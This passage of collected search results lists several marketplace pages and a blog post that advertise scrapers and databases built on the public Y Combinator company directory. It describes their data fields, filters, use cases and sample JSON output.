\"Y Combinator Companies Directory Scraper\" , \"source_url\" : \"https://www.ycombinator.com/companies/doordash\" , \"company_details\" : { \"name\" : \"DoorDash\" , \"batch\" : \"Summer 2013\" , \"website\" : \"http://doordash.com\" ," }, { "url": "https://apify.com/hipersoft/yc-companies-scraper", "title": "Y Combinator Companies Scraper \u2014 Startup Directory \u00b7 Apify", "content_head": "![Y Combinator Companies Scraper \u2014 Startup Directory avatar](https://images.apifyusercontent.com/D2D1eZnZ0gmYOpIR7hP0EouiEMceodNMHXS8eTUFqpA/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vYTVMdDZkbWQxZTlwUklGWGEtYWN0b3ItUGV4OEtIZ28zSW9tT0lxaXItR3M0dEhtdHl3di15Y29tYmluYXRvci5wbmc.webp)\nY Combinator Companies Scraper \u2014 Startup Directory\n\n![Y Combinator Companies Scraper \u2014 Startup Directory](https://images.apifyusercontent.com/D2D1eZnZ0gmYOpIR7hP0EouiEMceodNMHXS8eTUFqpA/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vYTVMdDZkbWQxZTlwUklGWGEtYWN0b3ItUGV4OEtIZ28zSW9tT0lxaXItR3M0dEhtdHl3di15Y29tYmluYXRvci5wbmc.webp)\n\n# Y Combinator Companies Scraper \u2014 Full Startup Directory in Clean JSON\n\nScrape the complete Y Combinator startup directory and get it back as clean, structured JSON: name, batch, status, team size, location, industries, tags, website, description, hiring status and more. Filter by batch, status, industry, region or free-text keyword, or pull the entire directory in one run. **No account, no API key.** Ideal for VC sourcing, market mapping, recruiting and startup research.\n\n## Features\n\n- \ud83c\udfe2 **Whole directory or targeted** \u2014 pull every YC company, or narrow with `query`, `batches`, `statuses`, `industries` and `regions`.\n- \ud83d\udce6 **Batch filtering** \u2014 accepts full names like `Winter 2024` or short codes like `W24`/`S23`, normalized automatically.\n- \ud83d\udfe2 **Status & hiring filters** \u2014 keep only `Active`, `Acquired`, `Public` companies, or set `isHiring` for those currently hiring.\n- \ud83e\udded **Industry & region targeting** \u2014 filter by `Fintech`, `Healthcare`, `B2B`, `United States of America`, `Europe` and more.\n- \ud83d\udd0e **Keyword search** \u2014 `query` matches name, description and tags.\n- \ud83d\udcc7 **Rich company profiles** \u2014 one-liner, long description, stage, team size, industries, tags, logo and direct YC URL.\n- \ud83d\udd11 **No key needed** \u2014 reads YC's live public search backend, with automatic key rotation handling.\n\n## What you get\n\nOne flat JSON record per company:\n\n```\n { \"name\" : \"Stripe\" , \"slug\" : \"stripe\" , \"oneLiner\" : \"Economic infrastructure for the internet.\" , \"longDescription\" : \"Stripe builds economic infrastructure for the internet...\" , \"website\" : \"https://stripe.com\" , \"batch\" : \"Summer 2009\" , \"status\" : \"Active\" , \"stage\" : \"Growth\" , \"teamSize\" : 8000 , \"location\" : \"San Francisco, CA, USA\" , \"regions\" : [ \"United States of America\" , \"America / Canada\" ] , \"industry\" : \"Fintech\" , \"subindustry\" : \"Fintech -> Payments\" , \"industries\" : [ \"Fintech\" , \"Payments\" ] , \"tags\" : [ \"Payments\" , \"SaaS\" ] , \"isHiring\" : true , \"topCompany\" : true , \"nonprofit\" : false , \"launchedAt\" : \"2010-05-01T00:00:00.000Z\" , \"logoUrl\" : \"https://bookface-images.s3.amazonaws.com/small_logos/stripe.png\" , \"ycUrl\" : \"https://www.ycombinator.com/companies/stripe\" , \"objectID\" : \"379\" }\n```\n\n## Input\n\n```\n { \"query\" : \"\" , \"batches\" : [ \"Winter 2024\" , \"Summer 2023\" ] , \"stat" }, { "url": "https://fetchcat.dev/actors/y-combinator-companies-scraper", "title": "Y Combinator Companies Scraper for Startup Leads", "content_head": "## Data fields\n\nData fields\n| Field | Type | Description |\n|---|---|---|\n| `id` | string | Public YC directory company identifier. |\n| `name` | string | Public YC company name. |\n| `slug` | string | Public YC directory slug. |\n| `url` | string | Company website or public YC profile URL. |\n| `ycUrl` | string | Public YC company profile URL. |\n| `batch` | string | null | YC batch when public. |\n| `oneLiner` | string | null | Public company one-liner. |\n| `description` | string | null | Public directory description. |\n\n## Input preview\n\nInput preview\n| `query` | Search query |\n|---|---|\n| `maxItems` | Maximum companies |\n| `batch` | YC batch |\n| `batches` | YC batches |\n| `industries` | Industries |\n| `tags` | Tags |\n\n## API and agents\n\nThis actor can be run through Apify API, datasets, webhooks, schedules, and the official Apify MCP server.\n\n## How this actor works\n\nSee example inputs, outputs, API usage, and practical limits before running this actor on Apify.\n\n[Open Apify page](https://apify.com/fetch_cat/y-combinator-companies-scraper)\n\nSearch and export public Y Combinator company profiles by batch, industry, tag, region, hiring status, and keyword.\n\nUse this actor to turn the YC company directory into a clean startup dataset for lead generation, market mapping, recruiting, investment research, and enrichment pipelines. Results can be downloaded as CSV, JSON, Excel, XML, RSS, or used through the Apify Dataset API.\n\n## At a glance\n\n- **Startup lead lists**: Export YC company names, websites, YC profile URLs, batches, one-liners, locations, industries, tags, team size, and status.\n- **Focused filters**: Combine keyword search with batch, industry, tag, region, hiring, and launch-status filters.\n- **Founder context**: Enable profile details when you need founder names and public social links from individual YC profile pages.\n- **Market maps**: Compare YC companies by category, geography, batch, and hiring signal.\n- **API-ready data**: Feed structured startup rows into CRMs, spreadsheets, BI tools, agents, or enrichment workflows.\n\n## What can it do?\n\nY Combinator Companies Scraper reads public YC company directory data and saves one dataset row per matching company.\n\n- **Search the directory**: Use `query` for names, one-liners, descriptions, tags, and related public fields.\n- **Filter by YC attributes**: Narrow results by `batch`, `industries`, `tags`, `regions`, `isHiring`, or `launchStatus`.\n- **Control result volume**: Set `maxItems` to keep test runs small or scale up for larger exports.\n- **Add profile details**: Turn on `includeProfileDetails` when founder names and public founder links are worth the slower run.\n- **Export repeatably**: Schedule the actor to refresh startup lists or category maps over time.\n\n## Common workflows\n\n- **Sales prospecting**: Find YC companies in a market such as AI, fintech, devtools, healthcare, or marketplaces.\n- **Recruiting research**: Filter for hiring companies by region or batch and export the list to a s" }, { "url": "https://apify.com/nexgendata/yc-companies-directory-scraper", "title": "\ud83d\ude80 YC Companies Directory \u2014 Y Combinator Alumni Database API \u00b7 Apify", "content_head": "![\ud83d\ude80 YC Companies Directory \u2014 Y Combinator Alumni DB avatar](https://apify.com/img/store/actor_picture.svg)\n\ud83d\ude80 YC Companies Directory \u2014 Y Combinator Alumni DB\n\n![\ud83d\ude80 YC Companies Directory \u2014 Y Combinator Alumni DB](https://apify.com/img/store/actor_picture.svg)\n\n# \ud83d\ude80 YC Companies Directory Scraper \u2014 Y Combinator alumni database \u2014 every batch, every status, every company\n\nThe YC Companies Directory Scraper pulls Y Combinator's complete alumni directory \u2014 every company that's ever been through YC, across every batch from S05 to the most recent. You get batch, status (active / acquired / public / dead), location, team size, founders, vertical/industry tags, one-liner, demo-day link, website, and social links. Ideal for VCs sourcing follow-on opportunities, sales reps building YC-only prospect lists, and researchers studying startup outcomes.\n\n## Why YC Companies Directory Scraper Beats Y Combinator, Crunchbase Pro, and Crunchbase\n\nWhy YC Companies Directory Scraper Beats Y Combinator, Crunchbase Pro, and Crunchbase\n| Source | Price | What you get |\n|---|---|---|\n| Y Combinator (official directory) | Free | Manual browse, no bulk export |\n| Crunchbase Pro | $588/mo (Starter) | Broad coverage, but YC-specific filtering requires Pro+; throttled exports |\n| Crunchbase (free) | Free | Heavily limited; no bulk export |\n| PitchBook | $25K+/yr | Enterprise pricing, broad coverage |\n| NexGenData YC Directory | PPE per company | YC-native fields: batch, status, location, team, vertical, demo-day link \u2014 bulk JSON |\n\n## What You Get\n\n- Company name + canonical ycombinator.com/companies/{slug} URL\n- Batch (W23, S22, IK12, X25, etc.)\n- Status (Active / Acquired / Public / Inactive)\n- Company one-liner + long description\n- Location (city, state, country, region)\n- Team size (when published)\n- Vertical tags (Fintech, AI, Healthcare, Climate, etc.)\n- Founders: name + LinkedIn + Twitter (when published)\n- Company website URL\n- Demo-day video URL (when public)\n- Twitter / LinkedIn / Crunchbase URLs (when public)\n- Year founded (when published)\n- Has YC SUS / equity-only round flag (when present)\n\n## Use Cases\n\n- **VC follow-on sourcing** \u2014 every 3 months, pull all YC companies from the last 2 batches in your verticals, dedupe against your CRM, route to investors.\n- **Sales prospecting** \u2014 build an ICP-matched YC-only list (e.g. 'Fintech YC companies with 5-25 employees and a website') for cold outreach.\n- **Startup-outcome research** \u2014 academics & journalists studying YC's hit-rate by batch, vertical, founder demographics.\n- **Acqui-hire pipeline** \u2014 track companies with 'Inactive' status flips for talent acquisition opportunities.\n- **Founder benchmarking** \u2014 first-time founders studying which verticals their YC batch is concentrated in.\n- **Service-business marketing** \u2014 accountants, law firms, HR-tech, payroll-tech can target their YC-batch ICP precisely.\n- **Press research** \u2014 journalists building YC anniversary or 'where are they now' coverage.\n\n## Quick Start\n\n```\n f" }, { "url": "https://apify.com/rl1987/ycombinator-scraper", "title": "YC Companies & Founders Scraper \u00b7 Apify", "content_head": "![YC Companies & Founders Scraper avatar](https://images.apifyusercontent.com/6AYYy866AitDbZFrkpq_1mWdA8BucPBps5cwZQUEByI/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vRnlDcE5tZUw4Sk95ZFJ0eTUtYWN0b3ItOVdtdmRibmVVQ1dqdkNnVUctdEdDRXYyYXZyci1sb2dvLnBuZw.webp)\nYC Companies & Founders Scraper\n\n![YC Companies & Founders Scraper](https://images.apifyusercontent.com/6AYYy866AitDbZFrkpq_1mWdA8BucPBps5cwZQUEByI/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vRnlDcE5tZUw4Sk95ZFJ0eTUtYWN0b3ItOVdtdmRibmVVQ1dqdkNnVUctdEdDRXYyYXZyci1sb2dvLnBuZw.webp)\n\nExtract structured data from the official [Y Combinator startup directory](https://www.ycombinator.com/companies) and [YC founders directory](https://www.ycombinator.com/founders) - no browser rendering required. This Actor talks directly to the same Algolia search API that powers both directory pages, so it's fast, reliable, and returns every field the website itself uses (name, description, batch, industry, location, team size, founder titles, and more). Run it on the Apify platform to get scheduled runs, API access, webhooks, and proxy support out of the box.\n\n## Why use YC Companies & Founders Scraper?\n\n- **Lead generation & investor research** - build a list of startups by batch, industry, or region to find investment targets or partnership leads.\n- **Recruiting & sales prospecting** - pull founder names, titles, and current companies to build outreach lists.\n- **Market research** - analyze YC's startup portfolio by industry, stage, or funding batch over time.\n- **Competitive intelligence** - track which companies are hiring, which have shut down, and how industries trend across batches.\n\n## How to use YC Companies & Founders Scraper\n\n1. Click **Try for free**.\n2. On the **Input** tab, choose a **Mode**: `companies` or `founders`.\n3. Optionally set a **Search query** (same as the search box on the directory page), a **Max items** limit, and pick from any of the narrowing dropdowns (Batch, Region, Industry, Tags, Status, Is Hiring, Role) - each is populated with the same real options shown in the filter panel on the site, so there's nothing to type.\n4. Click **Start** and wait for the run to finish.\n5. Open the **Dataset** tab to browse, export (JSON, CSV, Excel, HTML, and more), or download your results via the API.\n\n## Input\n\nInput\n| Field | Type | Description |\n|---|---|---|\n| `mode` | String | `companies` to scrape ycombinator.com/companies, or `founders` to scrape ycombinator.com/founders. |\n| `query` | String | Free-text search query. Leave empty to fetch the whole directory. |\n| `maxItems` | Integer | Maximum number of records to scrape. `0` = no limit. |\n| `companyBatch` | Array (dropdown) | Companies only - narrow by YC batch (e.g. `Summer 2024`). |\n| `founderBatch` | Array (dropdown) | Founders only - narrow by YC batch, short code (e.g. `S24`). |\n| `companyRegions` | Array (dropdown) | Compani" }, { "url": "https://apify.com/nexgendata/yc-companies-directory-scraper?fpr=ewv9tm", "title": "\ud83d\ude80 YC Companies Directory \u2014 Y Combinator Alumni Database API \u00b7 Apify", "content_head": "![\ud83d\ude80 YC Companies Directory \u2014 Y Combinator Alumni DB avatar](https://images.apifyusercontent.com/Q8tBeQc1doO_0-4n1HntObT1Lizdxt2GRplx7DV7K40/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vUFFZaExmMkt1NllxeUNXYngtYWN0b3ItUHZXRE1pdFFUcWNpRGhyM1AtdWRFeVVjRzdlTS15Yy1jb21wYW5pZXMtZGlyZWN0b3J5LXNjcmFwZXIucG5n.webp)\n\ud83d\ude80 YC Companies Directory \u2014 Y Combinator Alumni DB\n\n![\ud83d\ude80 YC Companies Directory \u2014 Y Combinator Alumni DB](https://images.apifyusercontent.com/Q8tBeQc1doO_0-4n1HntObT1Lizdxt2GRplx7DV7K40/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vUFFZaExmMkt1NllxeUNXYngtYWN0b3ItUHZXRE1pdFFUcWNpRGhyM1AtdWRFeVVjRzdlTS15Yy1jb21wYW5pZXMtZGlyZWN0b3J5LXNjcmFwZXIucG5n.webp)\n\n# \ud83d\ude80 YC Companies Directory Scraper \u2014 Y Combinator alumni database \u2014 every batch, every status, every company\n\nThe YC Companies Directory Scraper pulls Y Combinator's complete alumni directory \u2014 every company that's ever been through YC, across every batch from S05 to the most recent. You get batch, status (active / acquired / public / dead), location, team size, founders, vertical/industry tags, one-liner, demo-day link, website, and social links. Ideal for VCs sourcing follow-on opportunities, sales reps building YC-only prospect lists, and researchers studying startup outcomes.\n\n## \ud83d\udcca Sample Output\n\n[![Y Combinator YC alumni companies directory output \u2014 startup batch, sector, funding status, location](https://images.apifyusercontent.com/69rsKpzWjQ9gWtyXoc4t5mw1YSPzdhQtIxBQywAwQNA/w:1800/cb:1/aHR0cHM6Ly9hcGkuYXBpZnkuY29tL3YyL2tleS12YWx1ZS1zdG9yZXMvOGdMZ1hNQnZlRUkxdFR6MXovcmVjb3Jkcy95Yy1jb21wYW5pZXMtb3V0cHV0LnBuZw.webp)](/nexgendata/yc-companies-directory-scraper)\n\n*Sample of the structured JSON dataset returned by the scraper \u2014 company name, YC batch, status, sector, location, and one-liner. Every record also includes founders, team size, website, social links, and demo-day URL. [Try it on Apify \u2192](/nexgendata/yc-companies-directory-scraper)*\n\n## Why YC Companies Directory Scraper Beats Y Combinator, Crunchbase Pro, and Crunchbase\n\nWhy YC Companies Directory Scraper Beats Y Combinator, Crunchbase Pro, and Crunchbase\n| Source | Price | What you get |\n|---|---|---|\n| Y Combinator (official directory) | Free | Manual browse, no bulk export |\n| Crunchbase Pro | $588/mo (Starter) | Broad coverage, but YC-specific filtering requires Pro+; throttled exports |\n| Crunchbase (free) | Free | Heavily limited; no bulk export |\n| PitchBook | $25K+/yr | Enterprise pricing, broad coverage |\n| NexGenData YC Directory | PPE per company | YC-native fields: batch, status, location, team, vertical, demo-day link \u2014 bulk JSON |\n\n## What You Get\n\n- Company name + canonical ycombinator.com/companies/{slug} URL\n- Batch (W23, S22, IK12, X25, etc.)\n- Status (Active / Acquired / Public / Inactive)\n- Company one-liner + long description\n- Location (city, state, country, region)\n- Team size (when published)\n- Vertical " }, { "url": "https://apify.com/seemuapps/yc-companies-scraper", "title": "Y Combinator Companies Scraper. Batch, Industry, Hiring \u00b7 Apify", "content_head": "![Y Combinator Companies Scraper. Batch, Industry, Hiring avatar](https://images.apifyusercontent.com/rvPAi1GjnTbUVMBdteHCKWSOm3tCUITllOPg0arBTwY/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vZkxFclF3Y3NsR2VjeVFpS0ktYWN0b3ItV3pybElIdkFIM2VqcXlocUItODFSTzhYRTA2eS15Yy1jb21wYW5pZXMtc2NyYXBlci5wbmc.webp)\nY Combinator Companies Scraper. Batch, Industry, Hiring\n\n![Y Combinator Companies Scraper. Batch, Industry, Hiring](https://images.apifyusercontent.com/rvPAi1GjnTbUVMBdteHCKWSOm3tCUITllOPg0arBTwY/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vZkxFclF3Y3NsR2VjeVFpS0ktYWN0b3ItV3pybElIdkFIM2VqcXlocUItODFSTzhYRTA2eS15Yy1jb21wYW5pZXMtc2NyYXBlci5wbmc.webp)\n\n# Y Combinator Companies Scraper \u2014 Batch, Industry, Hiring\n\nScrape every Y Combinator startup with batch, industry, region, status, hiring, team size, founders' description, website, and YC profile URL. Filter by W24/S24/X25 batches or any criteria.\n\n## What you get\n\n- One row per YC company \u2014 over 5,000 companies, from MC07 to the latest batch\n- Company name, slug, YC profile URL, external website, tagline (one-liner) and full description\n- **Batch**, **status** (Active / Public / Acquired / Inactive), **stage**, **team size**\n- **isHiring** flag \u2014 perfect for filtering active job postings\n- **topCompany** flag \u2014 YC's curated \"Top Companies\" list (Stripe, Airbnb, Coinbase, etc.)\n- Industries, sub-industry, tags, regions, and all office locations\n- Founded date (ISO + Unix) and logo URL\n- Direct export to JSON, CSV, Excel, or Google Sheets\n\n## Use cases\n\n- **Lead generation** \u2014 every Fintech B2B company hiring in 2024\u20132025, exported to a CRM\n- **Investor research** \u2014 track active, public, and acquired startups by batch or industry\n- **Competitive landscape** \u2014 pull all companies in a category (AI Agents, Climate, Bio) for a market map\n- **Recruiting** \u2014 find YC companies currently hiring in your region for outbound outreach\n- **News / content** \u2014 auto-update a \"latest YC batch\" dashboard when each new batch launches\n- **M&A / banking** \u2014 track acquired or public YC alumni for deal-flow analysis\n\n## How to use\n\n1. Optionally enter a **Search query** \u2014 full-text search across name, description, and tags\n2. Restrict by **Batches** (e.g. `Winter 2024`, `Summer 2024`, `Spring 2025`)\n3. Restrict by **Industries** (e.g. `Fintech`, `Healthcare`, `B2B`), **Regions** (e.g. `United States of America`, `Europe`)\n4. Filter by **Status** (Active / Public / Acquired / Inactive), **Currently hiring**, **Top YC company**, **Nonprofit**\n5. Restrict by **Founded after / before** year\n6. Set **Max items** (default 100; 0 for no cap) and run\n7. One company per row in the **Dataset** tab \u2014 paste into Sheets or download as CSV\n\n## Output format\n\n```\n { \"ycId\" : 240 , \"name\" : \"Stripe\" , \"slug\" : \"stripe\" , \"ycUrl\" : \"https://www.ycombinator.com/companies/stripe\" , \"website\" : \"http://stripe.com\" , \"oneLiner\" : \"Economi" }, { "url": "https://vcbacked.co/yc", "title": "Y Combinator Companies (4,150+) - Complete YC Startup Database", "content_head": "# Y Combinator\nContact Database\n\nVerified cofounder emails for 4,150+ YC companies across 5 batches. Get access before Demo Day.\n\n4,150+\n\nCompanies\n\n5\n\nBatches\n\n908\n\nActive\n\n41\n\nAcquired\n\n0\n\nPublic\n\n## YC Company Directory\n\nShowing 250 of 4,150 companies\n\n| Company | Batch | Description | Status | Location | Team | Site | Founders | Reveal |\n|---|---|---|---|---|---|---|---|---|\n| ![](https://www.google.com/s2/favicons?domain=10xscience.com&sz=128) 10x Science | W26 | The AI-native platform for next-generation protein characterization. | Active | San Francisco, CA, USA | 3 | | David Roberts, Andrew Reiter, Vishnu Tejus | [Reveal](https://app.vcbacked.co/signup) |\n| ![](https://www.google.com/s2/favicons?domain=21st.dev/agents&sz=128) 1code (21st.dev) | W26 | Orchestration layer for coding agents | Active | San Francisco, CA, USA | 3 | | Serafim Korablev, Sergey Bunas | [Reveal](https://app.vcbacked.co/signup) |\n| ![](https://www.google.com/s2/favicons?domain=www.arcline-ai.com&sz=128) Arcline | W26 | Startup legal work handled by elite lawyers & same-day turnaround | Active | \u2014 | 5 | | Pamir Ehsas, Stefan Mandaric | [Reveal](https://app.vcbacked.co/signup) |\n| ![](https://www.google.com/s2/favicons?domain=arcprize.org&sz=128) ARC Prize Foundation | W26 | AI benchmarks that measure general intelligence and inspire new ideas | Active | \u2014 | 4 | | Greg Kamradt | [Reveal](https://app.vcbacked.co/signup) |\n| ![](https://www.google.com/s2/favicons?domain=www.arzule.com&sz=128) Arzule | W26 | AI for B2B Partnerships | Active | San Francisco, CA, USA | 2 | | Jeffrey Lin, Nikhil Reddy | [Reveal](https://app.vcbacked.co/signup) |\n| ![](https://www.google.com/s2/favicons?domain=tryasimov.ai&sz=128) Asimov | W26 | Internet-scale marketplace for robot training data | Active | San Francisco, CA, USA | 3 | | Lyem Ningthou | [Reveal](https://app.vcbacked.co/signup) |\n| ![](https://www.google.com/s2/favicons?domain=aurorincad.com&sz=128) Aurorin CAD | W26 | We help hardware companies ship faster | Active | San Francisco, CA, USA | 1 | | Michael Baron | [Reveal](https://app.vcbacked.co/signup) |\n| ![](https://www.google.com/s2/favicons?domain=autositu.com&sz=128) AutoSitu | W26 | AI-native workspace for municipal development review | Active | \u2014 | 2 | | Xuanshu Lin, George Zhai | [Reveal](https://app.vcbacked.co/signup) |\n| ![](https://www.google.com/s2/favicons?domain=autumnai.com&sz=128) Autumn AI | W26 | Stalk your prospects at scale. | Active | San Francisco, CA, USA | 2 | | Shiv Kampani, Vishnu Sampathkumar | [Reveal](https://app.vcbacked.co/signup) |\n| ![](https://www.google.com/s2/favicons?domain=avoice.co&sz=128) Avoice | W26 | The AI Workspace For Architects | Active | San Francisco, CA, USA | 4 | | Chawin Asavasaetakul, Chawit Asavasaetakul | [Reveal](https://app.vcbacked.co/signup) |\n| ![](https://www.google.com/s2/favicons?domain=axionorbital.space&sz=128) AxionOrbital Space | W26 | Foundation models for 24/7 Earth Observation | Active | San Francisco, C" }, { "url": "https://apify.com/devilscrapes/y-combinator-companies-scraper", "title": "Y Combinator Companies API \u2014 YC Directory Scraper \u00b7 Apify", "content_head": "![Y Combinator Companies API Scraper avatar](https://images.apifyusercontent.com/OHk2XUkhUNYg5gbO47kztmvRDPMHQ-74RrJscv35OuE/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vVE9iWEhQUlpzb2t0MFNCUGUtYWN0b3ItRFlLdGtRWnVJUUg3SUtsUE0tNlZSRmtkN2hWUS1pY29uLnBuZw.webp)\nY Combinator Companies API Scraper\n\n![Y Combinator Companies API Scraper](https://images.apifyusercontent.com/OHk2XUkhUNYg5gbO47kztmvRDPMHQ-74RrJscv35OuE/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vVE9iWEhQUlpzb2t0MFNCUGUtYWN0b3ItRFlLdGtRWnVJUUg3SUtsUE0tNlZSRmtkN2hWUS1pY29uLnBuZw.webp)\n\n---\n\n## \ud83c\udfaf What this scrapes\n\nY Combinator publishes every funded company at `ycombinator.com/companies`. The directory is backed by a public Algolia search index \u2014 the same one the website uses to power its filter UI. This Actor queries that index directly so you can pull the full yc companies database by free-text query, batch (e.g. `W24`, `S23`), industry tag, or status \u2014 and receive one clean dataset row per company.\n\nNo official API, no CSV download, and no bulk export exists from YC. That gap is exactly what this Actor fills.\n\n## \ud83d\udd25 What we handle for you\n\n- \ud83d\udee1\ufe0f **Browser fingerprint rotation** \u2014 `curl-cffi` impersonates real Chrome / Firefox / Safari TLS handshakes so the target sees a genuine browser, not a Python script.\n- \ud83c\udf10 **Residential proxy rotation** via Apify Proxy \u2014 fresh session and exit IP on every block or rate-limit response.\n- \ud83d\udd01 **Retries with exponential backoff** on `408 / 429 / 5xx` \u2014 up to 5 attempts per page, `Retry-After` header honoured.\n- \ud83e\uddf1 **Rate-limit-aware pacing** \u2014 when the target pushes back, we slow down and surface a clear status message instead of returning an empty dataset.\n- \ud83e\uddca **Clean, typed dataset rows** \u2014 Pydantic-validated, ISO-8601 timestamps, stable IDs, JSON / CSV / Excel export straight from the Apify Console.\n- \ud83d\udcb0 **Pay-Per-Event pricing** \u2014 you only pay for results that hit your dataset. No data, no charge (beyond the small warm-up fee).\n\n## \ud83d\udca1 Use cases\n\n- **Lead gen** \u2014 pull every `W24` Developer Tools company with website, team size, and one-liner, then enrich downstream in Clay or Apollo.\n- **Investor prospecting** \u2014 surface YC companies in a given vertical sorted by team size to prioritise outreach.\n- **Hiring** \u2014 track active YC companies in your city or tech stack.\n- **Competitive intel** \u2014 schedule a weekly run, diff against last week, and catch newly-added companies the day they appear.\n- **Sales ops** \u2014 pipe filtered YC company lists straight into HubSpot, Attio, or Smartlead as a live lead source.\n- **Research** \u2014 build a quarterly batch report (YC W24: companies by industry, location, team size) without hand-copying rows from the directory.\n\n## \u2699\ufe0f How to use it\n\n1. Click **Try for free** at the top of the page.\n2. Fill in the input form \u2014 most fields have sensible defaults. Start with just a `batch` value like `W24` to pull a full batch.\n3. Cl" }, { "url": "https://apify.com/kawsar/y-combinator-scraper", "title": "Y Combinator Scraper \u00b7 Apify", "content_head": "![Y Combinator Scraper avatar](https://images.apifyusercontent.com/Rr-XDAyh0-pNLRFdr4_XJvPM9kA_LuoGxTLaHywOG2E/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vU1REbnRaNW5NcThtbXo5UFQtYWN0b3ItQWZZcXV3RW1VeGtNTTRRRFktbDFlVW5LSFp3di1HZW1pbmlfR2VuZXJhdGVkX0ltYWdlX2t0dGlzamt0dGlzamt0dGkucG5n.webp)\nY Combinator Scraper\n\n[](/store)\n![Y Combinator Scraper](https://images.apifyusercontent.com/Rr-XDAyh0-pNLRFdr4_XJvPM9kA_LuoGxTLaHywOG2E/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vU1REbnRaNW5NcThtbXo5UFQtYWN0b3ItQWZZcXV3RW1VeGtNTTRRRFktbDFlVW5LSFp3di1HZW1pbmlfR2VuZXJhdGVkX0ltYWdlX2t0dGlzamt0dGlzamt0dGkucG5n.webp)\n\n# Y Combinator Scraper: Extract Company Data from the YC Startup Directory\n\nY Combinator Scraper pulls startup data straight from the YC company directory using the Algolia search API that powers the YC website. Search by keyword, filter by batch, industry, or region, and collect company names, websites, descriptions, team sizes, hiring status, and more in a single run.\n\nNo browser automation. No HTML parsing. Direct API access for fast, reliable results.\n\n## Use cases\n\n- Pull all YC companies in a specific batch or industry for investor research and deal sourcing\n- Collect company names, websites, and one-liners to build sector-specific startup maps\n- Filter for companies actively hiring to find startups in growth mode\n- Track new YC batches to stay current with the portfolio\n- Map companies by subindustry or region for geographic or vertical analysis\n- Screen nonprofits or top-company badge holders for grant or partnership outreach\n\n## What data does this actor collect?\n\nEach result includes:\n\n```\n { \"name\" : \"Stripe\" , \"slug\" : \"stripe\" , \"website\" : \"https://stripe.com\" , \"locations\" : \"San Francisco, CA, USA\" , \"smallLogoUrl\" : \"https://bookface-images.s3.amazonaws.com/small_logos/...\" , \"oneLiner\" : \"Economic infrastructure for the internet.\" , \"longDescription\" : \"Stripe builds economic infrastructure for the internet...\" , \"batch\" : \"S09\" , \"tags\" : [ \"fintech\" , \"payments\" ] , \"status\" : \"Active\" , \"teamSize\" : 8000 , \"industries\" : [ \"Fintech\" , \"B2B\" ] , \"subindustry\" : \"Financial Services\" , \"regions\" : [ \"America / USA\" ] , \"isHiring\" : false , \"nonprofit\" : false , \"topCompany\" : true , \"profileUrl\" : \"https://www.ycombinator.com/companies/stripe\" , \"scrapedAt\" : \"2024-11-15T10:23:45.123456+00:00\" }\n```\n\n| Field | Type | Description |\n|---|---|---|\n| `name` | string | Company name |\n| `slug` | string | URL slug used in the YC directory |\n| `website` | string | Company website URL |\n| `locations` | string | All office locations |\n| `smallLogoUrl` | string | URL to the company logo |\n| `oneLiner` | string | Short one-sentence description |\n| `longDescription` | string | Full company description |\n| `batch` | string | YC batch code (e.g., W21, S24) |\n| `tags` | array | Company tags |\n| `status` | string | Operational status (e.g" }, { "url": "https://dev.to/nexgendata/map-any-verticals-competitive-landscape-using-the-yc-database-with-code-18a3", "title": "Map Any Vertical's Competitive Landscape Using the YC Database (with code)", "content_head": "Most competitive-intelligence tooling is built for the wrong job. Crunchbase Pro, PitchBook, and CB Insights are optimized for \"who raised money last week,\" not \"who is actually building in my vertical.\" If you're a founder preparing for an investor meeting, a BD lead mapping integration partners, or an M&A; analyst hunting roll-up candidates, what you actually need is a *current, accurate, deduplicated list of every active company building something adjacent to you* \u2014 and you need it indexed by industry, sub-industry, tags, team size, and stage.\n\nY Combinator's company directory turns out to be the single best public dataset for this. It's not the most comprehensive list of tech companies (Crunchbase wins on raw size), but it's the most usefully tagged and the lowest-noise. Every YC company is human-curated, fits a thesis (\"we're building X for Y\"), is tagged consistently across batches, and is updated quarterly. Compared with Crunchbase's millions of half-stale records, YC's ~5,000 active alumni are a sharper signal at exactly the layer of the market where competitive landscapes get formed.\n\nThis post is the playbook and the working code for using YC as a competitive-intelligence database \u2014 not a sourcing one. The [NexGenData YC Companies Directory](https://apify.com/nexgendata/yc-companies-directory-scraper?fpr=2ayu9b&utm_source=tngn&utm_medium=blog&utm_campaign=funding-06-yc-competitive-intelligence) actor wraps the data ingestion if you'd rather skip straight to analysis.\n\n## Who Actually Uses This (And Why)\n\nThe buyer pool for \"YC as competitive map\" is different from the VC-sourcing buyer pool. Four user profiles dominate:\n\n**Founders preparing 